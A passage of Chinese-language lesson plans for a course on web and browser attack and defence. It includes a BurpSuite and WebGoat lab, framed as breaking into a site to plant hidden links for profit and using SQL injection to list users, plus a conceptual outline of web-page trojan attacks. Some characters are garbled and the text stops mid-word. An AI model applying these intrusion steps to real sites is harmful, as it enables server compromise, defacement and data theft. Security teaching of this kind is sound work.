NAME1=VALUE1[;NAME2=VALUE2]……[;NAMEi=VALUEi]其中，NAMEi表示第i個Cookie的名稱，VALUEi表示其值。這里的NAME和對應(yīng)的VALUE與Set-Cookie中的相同。3）由Web服務(wù)器生成的Cookie格式Cookie的安全防范教案（課時授課計劃）教師姓名授課班級授課形式上機授課日期年12月11日第15周授課時數(shù)3授課章節(jié)名稱實驗BurpSuite漏洞掃描和WeGoat使用教學目的與要求學習漏洞掃描技術(shù)的基本原理，了解漏洞掃描技術(shù)在網(wǎng)絡(luò)攻防中的作用，學會使用BurpSuite對目標網(wǎng)站進行掃描的具體方法，并根據(jù)報告做出相應(yīng)的防護措施。掌握基于應(yīng)用層的弱點測試手段與方法，學會使用WebGoat工具演示W(wǎng)eb瀏覽器中的典型安全漏洞的應(yīng)用程序教學重點或教學難點BurpSuite漏洞掃描WebGoat工具使用更新、補充、刪節(jié)內(nèi)容使用教具或手段課外作業(yè)課后體會授課主要內(nèi)容或板書設(shè)計BurpSuite漏洞掃描和WeGoat使用BurpSuite漏洞掃描情景設(shè)置目標：遠程入侵網(wǎng)站服務(wù)器植入暗鏈牟利方法：采用BurpSuite工具掃描存在漏洞的網(wǎng)站，然后攻入對方服務(wù)器，在網(wǎng)頁中植入暗鏈實驗在靶機上搭建一個簡單的網(wǎng)站BurpSuite工具捕獲Web瀏覽器的操作使用spider主要通過網(wǎng)絡(luò)爬蟲來爬取網(wǎng)頁信息掃描網(wǎng)站存在的漏洞利用漏洞攻擊進入對方網(wǎng)站后臺管理界面修改后臺數(shù)據(jù)，在對方網(wǎng)站中植入暗鏈WeGoat使用字符串型SQL注入實驗選取StringSQLInjection輸入SQL注入命令通過注入SQL查詢命令，獲得所有的用戶列表教案（課時授課計劃）教師姓名授課班級1授課形式講授授課日期年12月16日第16周授課時數(shù)3授課章節(jié)名稱第六章Web瀏覽器的攻防教學目的與要求了解Web瀏覽器存在的問題，與之相對應(yīng)進行的攻防教學重點或教學難點重點：了解網(wǎng)絡(luò)釣魚和黑鏈攻擊的概念更新、補充、刪節(jié)內(nèi)容使用教具或手段課外作業(yè)課后體會授課主要內(nèi)容或板書設(shè)計第六章Web瀏覽器的攻防6.4網(wǎng)頁木馬的攻防網(wǎng)頁木馬的攻擊原理網(wǎng)頁木馬概念從技術(shù)本質(zhì)來看，網(wǎng)頁木馬主要利用了Web瀏覽器軟件中所支持的客戶端腳本執(zhí)行能力，通過對Web瀏覽器軟件安全漏洞的利用而對客戶端實施參透攻擊，在獲取了對客戶端主機的遠程代碼執(zhí)行權(quán)限后再植入木馬程序，進而發(fā)起有針對性的攻擊；從發(fā)展歷程來看，網(wǎng)頁木馬是針對網(wǎng)絡(luò)服務(wù)的一種攻擊行為，只是早期的攻擊主要針對的是服務(wù)器軟件，而網(wǎng)頁木馬則主要針對的是Web瀏覽器軟件?？蛻舳烁腥镜膬蓚€階段漏洞利用階段。網(wǎng)頁木馬被客戶端加載后，攻擊代碼利用內(nèi)存破壞類漏洞將執(zhí)行流跳轉(zhuǎn)到ShellCode或者直接利用任意下載API，在客戶端下載、執(zhí)行盜號木馬或僵尸程序等惡意程序。惡意程序執(zhí)行階段。下載的盜號木馬或僵尸程序等惡意程序，竊取客戶端的帳號等隱私信息或使客戶端成為“肉雞”加入僵尸網(wǎng)絡(luò)。網(wǎng)頁木馬攻擊載體具體攻擊步驟：攻擊者選取存在安全漏洞的Web站點植入網(wǎng)頁木馬程序（一般還會同時植入其他的木馬程序，如盜號木馬），將其作為攻擊過程中的木馬宿主站點；通過在大量網(wǎng)站中嵌入惡意鏈接將用戶訪問重定向到網(wǎng)頁木馬，從而構(gòu)成一個網(wǎng)頁木馬攻擊網(wǎng)絡(luò)；當不明真相的用戶在訪問了含有木馬程序的網(wǎng)站后，就會自動地鏈接網(wǎng)頁木馬并遭受攻擊，成為網(wǎng)頁木馬的受害者。網(wǎng)頁掛馬的實現(xiàn)方法內(nèi)嵌鏈接內(nèi)嵌HTML標簽內(nèi)嵌對象鏈接內(nèi)嵌對象鏈接是利用Flash等工具內(nèi)嵌對象中的特定功能來實現(xiàn)指定頁面加載的一種方法。惡意Script腳